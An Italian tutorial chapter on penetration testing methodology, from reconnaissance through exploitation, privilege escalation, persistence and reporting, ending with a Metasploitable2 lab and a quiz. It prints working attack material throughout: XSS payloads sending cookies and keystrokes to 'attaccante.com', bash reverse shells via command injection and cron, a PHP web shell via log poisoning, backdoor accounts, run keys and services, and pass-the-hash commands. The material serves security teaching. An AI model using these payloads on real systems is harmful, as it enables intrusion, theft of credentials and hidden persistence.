Penetration testing
10 min read

Penetration testing: metodologia e fasi

Da ricognizione a exploitation a post-exploitation, l'intero ciclo di un pentest professionale.

pentest
exploitation
post-exploitation

Livello: Intermedio → Avanzato
Obiettivo: Condurre un pentest strutturato dalla ricognizione all'exploitation, con tecniche avanzate e approccio professionale.


1. Metodologia Pentest

Un pentest professionale segue fasi definite. Improvvisare porta a risultati incompleti e potenzialmente dannosi per il cliente.

1.1 Fasi del Pentest

1. Pre-engagement      →  Contratto, scope, regole d'ingaggio
2. Reconnaissance      →  Raccolta info (passiva e attiva)
3. Scanning            →  Enumerazione servizi e vulnerabilità
4. Exploitation        →  Accesso iniziale al sistema
5. Post-Exploitation   →  Privilege escalation, persistence, pivot
6. Lateral Movement    →  Espansione verso altri sistemi
7. Reporting           →  Documentazione tecnica ed executive

1.2 Tipi di pentest per scope

TipoDescrizione
Black BoxNessuna info sul target (simula attaccante esterno)
Grey BoxInfo parziali (credenziali, architettura)
White BoxAccesso completo al codice sorgente, architettura
Red TeamSimulazione attaccante avanzato, più settimane, evasione detection
Purple TeamRed + Blue team collaborano per migliorare difese

1.3 Standard e metodologie di riferimento

  • PTES (Penetration Testing Execution Standard) — http://www.pentest-standard.org
  • OWASP Testing Guide — per web application
  • NIST SP 800-115 — standard americano
  • OSSTMM — metodologia completa e certificabile

2. Fase 1: Reconnaissance (Ricognizione)

2.1 Passive Recon — OSINT

Raccogliere informazioni senza contattare il target. Nessun pacchetto verso il target.

# WHOIS — proprietario del dominio
whois target.com
whois 93.184.216.0/24   # range IP

# theHarvester — email, subdomini, IP da fonti pubbliche
theHarvester -d target.com -b all    # tutti i motori
theHarvester -d target.com -b google,linkedin,bing

# Shodan — motore di ricerca per dispositivi connessi
# (richiede account)
shodan search "apache 2.4.49"
shodan search hostname:target.com
shodan host 93.184.216.34

# Google Dorks — ricerca avanzata Google
site:target.com filetype:pdf
site:target.com filetype:xls OR filetype:xlsx
site:target.com inurl:admin
site:target.com intitle:"index of"
"target.com" ext:sql OR ext:bak OR ext:conf

# Wayback Machine — versioni passate del sito
curl "https://web.archive.org/cdx/search/cdx?url=target.com/*&output=text&fl=original"

# Certificati SSL — subdomini da CT logs
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# LinkedIn / Social Media
# Cercare dipendenti, tecnologie usate, job posting
# Job posting rivelano tecnologie: "Esperienza con AWS, Kubernetes, React..."

2.2 Active Recon

# DNS brute force
dnsrecon -d target.com -t brt -D /usr/share/wordlists/dnsmap.txt
amass enum -active -d target.com

# Banner grabbing
nc -v target.com 80
HEAD / HTTP/1.0

telnet target.com 25  # banner SMTP
ftp target.com        # banner FTP

# Whatweb — fingerprinting tecnologie web
whatweb target.com -v
whatweb -a 3 target.com  # livello aggressivo

# wappalyzer CLI
npx wappalyzer https://target.com

3. Fase 2: Scanning & Enumeration

3.1 Network scanning

# Scoperta host
nmap -sn 10.0.0.0/24 --open

# Scan completo
nmap -sC -sV -O -p- --open -T4 10.0.0.10 -oA scan_10.0.0.10

# Parsing risultati nmap con grep
grep -E "open|filtered" scan_10.0.0.10.nmap

# Scan UDP (lento ma necessario)
sudo nmap -sU --top-ports 200 10.0.0.10

3.2 Enumerazione per servizio

SMB (porta 445) — Comune in ambienti Windows

# Enumerazione base
nmap --script smb-enum-shares,smb-enum-users,smb-security-mode -p 445 10.0.0.10
enum4linux -a 10.0.0.10

# smbclient
smbclient -L //10.0.0.10 -N            # lista share anonimo
smbclient //10.0.0.10/share -N         # accesso anonimo
smbclient //10.0.0.10/C$ -U admin      # con credenziali

# CrackMapExec — enumerazione bulk
crackmapexec smb 10.0.0.0/24
crackmapexec smb 10.0.0.10 -u '' -p '' --shares   # null session
crackmapexec smb 10.0.0.10 -u admin -p Password1 --sam  # dump SAM

LDAP / Active Directory

# Enumerazione LDAP (porta 389)
ldapsearch -x -H ldap://10.0.0.10 -b "dc=target,dc=com"
ldapsearch -x -H ldap://10.0.0.10 -b "" -s base  # info base

# BloodHound — mapping AD (post-compromissione)
# Su Windows compromesso:
SharpHound.exe -c All
# Su Kali, carica il JSON su BloodHound GUI

FTP (porta 21)

# Login anonimo
ftp 10.0.0.10
# Username: anonymous, Password: (vuota o email)

nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 10.0.0.10

SSH (porta 22)

# Brute force (se nessuna protezione)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.10
medusa -h 10.0.0.10 -u admin -P rockyou.txt -M ssh

# Audit configurazione SSH
nmap --script ssh2-enum-algos -p 22 10.0.0.10
ssh-audit 10.0.0.10

Web (porta 80/443)

# nikto — scanner vulnerabilità web
nikto -h http://10.0.0.10 -o nikto_out.txt

# gobuster — directory/file bruteforce
gobuster dir -u http://10.0.0.10 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,html,txt,js,bak \
  -o gobuster_out.txt

# ffuf — fuzzer veloce
ffuf -u http://10.0.0.10/FUZZ -w /usr/share/wordlists/dirb/common.txt

# wfuzz — fuzzing parametri
wfuzz -c -z file,rockyou.txt -d "username=admin&password=FUZZ" http://10.0.0.10/login

4. Fase 3: Exploitation

4.1 Web Application — Vulnerabilità principali

SQL Injection

# Test manuale
# URL: http://target.com/page?id=1
# Prova: id=1' (errore SQL = vulnerabile)
#        id=1 AND 1=1 (true, pagina normale)
#        id=1 AND 1=2 (false, pagina diversa = blind SQLi)

# sqlmap — automatico
sqlmap -u "http://target.com/page?id=1" --dbs         # lista database
sqlmap -u "http://target.com/page?id=1" -D mydb --tables  # tabelle
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump  # dati

# SQLi su POST
sqlmap -u "http://target.com/login" --data "user=admin&pass=test" -p user

# Con cookie di sessione
sqlmap -u "http://target.com/profile" --cookie "session=abc123" --level 5 --risk 3

# SQLi manuale — UNION based
# ' UNION SELECT NULL,NULL,NULL--
# ' UNION SELECT 1,2,3--
# ' UNION SELECT username,password,3 FROM users--

# Time-based blind (quando non vedi output)
# ' AND SLEEP(5)--   (MySQL)
# ' AND pg_sleep(5)--  (PostgreSQL)
# '; WAITFOR DELAY '0:0:5'--   (MSSQL)

XSS (Cross-Site Scripting)

# Test base
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')

# Bypass filtri comuni
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# XSS per rubare cookie
<script>
  fetch('http://attaccante.com/steal?c='+document.cookie)
</script>

# XSS stored → keylogger
<script>
document.onkeypress = function(e) {
  fetch('http://attaccante.com/keys?k=' + e.key)
}
</script>

# BeEF — Browser Exploitation Framework
# Lancia BeEF, inserisci hook XSS:
<script src="http://attaccante.com:3000/hook.js"></script>

Command Injection

# Parametro vulnerabile: ?host=google.com
# Test: ?host=google.com; id
#       ?host=google.com | id
#       ?host=google.com && id
#       ?host=$(id)
#       ?host=`id`

# Reverse shell via command injection
?host=; bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
# Con listener: nc -lvnp 4444

File Inclusion

# LFI (Local File Inclusion)
?page=../../etc/passwd
?page=../../../../etc/shadow
?page=../../../../proc/self/environ
?page=../../var/log/apache2/access.log   # log poisoning

# Log poisoning per RCE
# 1. Inietta PHP nel User-Agent (verrà loggato)
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# 2. Include il log con il parametro cmd
?page=../../var/log/apache2/access.log&cmd=id

# RFI (Remote File Inclusion)
?page=http://attaccante.com/shell.php

# Bypasses LFI
?page=....//....//etc/passwd      # traversal bypass
?page=/etc/passwd%00              # null byte (PHP < 5.3)
?page=php://filter/convert.base64-encode/resource=index.php  # leggi sorgente
?page=php://input   + POST: <?php system('id'); ?>

4.2 Network Exploitation

EternalBlue (MS17-010)

# Verifica vulnerabilità
nmap --script smb-vuln-ms17-010 -p 445 10.0.0.10

# Metasploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.0.0.10
msf6 > set LHOST 10.0.0.1
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > exploit

5. Fase 4: Post-Exploitation

5.1 Linux Privilege Escalation

# Info sistema
uname -a
cat /etc/os-release
id && whoami
sudo -l                    # comandi sudo disponibili

# SUID binaries (eseguiti con i permessi del proprietario)
find / -perm -u=s -type f 2>/dev/null
# Verificare su GTFOBins: https://gtfobins.github.io/

# Esempio: se 'find' ha SUID
find . -exec /bin/sh -p \; -quit   # shell root

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Se uno script scrivibile viene eseguito da root:
echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /etc/cron.hourly/job.sh

# Password in chiaro
grep -r "password" /etc/ 2>/dev/null
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null
history                    # comandi precedenti con password
env                        # variabili d'ambiente

# Kernel exploits
uname -r                   # versione kernel
searchsploit linux kernel 4.15
# Linux Exploit Suggester
./linux-exploit-suggester.sh

# Writable /etc/passwd
openssl passwd -1 -salt hack hacked    # genera hash
echo "hacker:HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker

# PATH hijacking
echo $PATH
# Se /tmp è nel PATH prima di /bin:
echo "#!/bin/bash
/bin/bash" > /tmp/ls
chmod +x /tmp/ls
# → prossima volta che root esegue 'ls', ottieni shell

# LinPEAS (automated)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

5.2 Windows Privilege Escalation

# Info sistema
systeminfo
whoami /all
net localgroup administrators
net user

# Servizi vulnerabili
sc query state= all
# Trovare servizi con permessi scrivibili:
accesschk.exe -uwcqv * /accepteula

# Unquoted service path
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows\\"
# Se path non è tra virgolette: C:\Program Files\My App\service.exe
# Crea: C:\Program.exe → eseguito prima!

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Se entrambi = 1, installa MSI malicious come SYSTEM

# SeImpersonatePrivilege → RottenPotato/JuicyPotato
whoami /priv
# Se "SeImpersonatePrivilege" è abilitato:
JuicyPotato.exe -l 1337 -p cmd.exe -t *

# WinPEAS
.\winPEAS.exe

5.3 Persistence

# Linux — Crontab reverse shell
(crontab -l; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/192.168.1.100/443 0>&1'") | crontab -

# Linux — Aggiunta chiave SSH
mkdir -p ~/.ssh
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

# Linux — SUID bash
cp /bin/bash /tmp/.bash
chmod +s /tmp/.bash
# Esegui in seguito: /tmp/.bash -p
# Windows — Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\Users\user\backdoor.exe"

# Windows — Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\backdoor.exe" /sc onlogon /ru System

# Windows — Servizio
sc create backdoor binPath= "C:\backdoor.exe" start= auto
sc start backdoor

5.4 Lateral Movement e Pivot

# Pass the Hash (PTH) — usa hash NTLM senza craccare
# Con Meterpreter:
meterpreter > hashdump
# Ottieni: Administrator:500:aad3b435...:31d6cfe0...:::

# PTH con crackmapexec
crackmapexec smb 10.0.0.0/24 -u Administrator -H 31d6cfe0... --local-auth

# PTH con impacket
impacket-psexec -hashes aad3b435:31d6cfe0 Administrator@10.0.0.20
impacket-wmiexec -hashes aad3b435:31d6cfe0 Administrator@10.0.0.20

# Pivot con Metasploit
meterpreter > ipconfig   # trova reti raggiungibili
meterpreter > run post/multi/manage/autoroute   # aggiunge route
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
# Ora puoi raggiungere la rete interna via proxychains

6. Fase 5: Reporting

Un report professionale deve contenere:

6.1 Struttura report

1. Executive Summary (per management non tecnico)
   - Obiettivo del test
   - Risultati ad alto livello
   - Rischio generale (Critico/Alto/Medio/Basso)
   - Raccomandazioni principali

2. Scope e Metodologia
   - IP/domini testati
   - Date e finestre temporali
   - Metodologia (PTES, OWASP, etc.)
   - Limitazioni

3. Findings — per ogni vulnerabilità:
   - Titolo e CVE (se applicabile)
   - Rischio: Critico/Alto/Medio/Basso/Info
   - CVSS Score
   - Descrizione tecnica
   - Proof of Concept (screenshot, comandi)
   - Impatto sul business
   - Raccomandazione di remediation
   - Riferimenti (OWASP, NIST, etc.)

4. Appendice
   - Tool utilizzati
   - Output di scan
   - Timeline

6.2 Calcolo CVSS

Il CVSS v3.1 considera:

  • AV (Attack Vector): Network/Adjacent/Local/Physical
  • AC (Attack Complexity): Low/High
  • PR (Privileges Required): None/Low/High
  • UI (User Interaction): None/Required
  • S (Scope): Unchanged/Changed
  • C/I/A (Confidentiality/Integrity/Availability): None/Low/High
Critico: 9.0 - 10.0
Alto:    7.0 - 8.9
Medio:   4.0 - 6.9
Basso:   0.1 - 3.9

7. Lab Pratico — Pentest completo su Metasploitable2

Setup: Scarica Metasploitable2 da VulnHub, avviala in VM, verifica IP.

# 1. Ricognizione
nmap -sC -sV -O -p- --open 192.168.56.101 -oA metasploitable

# 2. Vulnerabilità trovate comunemente:
# - vsftpd 2.3.4 (backdoor)
# - UnrealIRCd 3.2.8.1 (backdoor)
# - Samba 3.x (username map script)
# - Apache Tomcat (manager con creds default)
# - MySQL senza password root
# - Distcc RCE

# 3. Exploit vsftpd 2.3.4 backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > exploit
# → shell root!

# 4. Exploit Samba username map script
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 192.168.56.101
msf6 > exploit

# 5. MySQL senza auth
mysql -h 192.168.56.101 -u root
mysql> SHOW DATABASES;
mysql> USE dvwa;
mysql> SELECT * FROM users;

Quiz di autoverifica

  1. Qual è la differenza tra Black Box e White Box pentest? Quando è appropriato ciascuno?
  2. Come funziona un attacco UNION-based SQL injection?
  3. Spiega la tecnica del "Pass the Hash". Perché è efficace?
  4. Cosa sono i SUID binaries e perché sono pericolosi?
  5. Cos'è un unquoted service path e come si sfrutta su Windows?

Precedente: 02 — Reti & Protocolli
Prossimo: 04 — Analisi Forense

Continua a leggere

Analisi forense digitale

Acquisizione forense, analisi disco e memoria, log, ricostruzione di timeline.

Vai al capitolo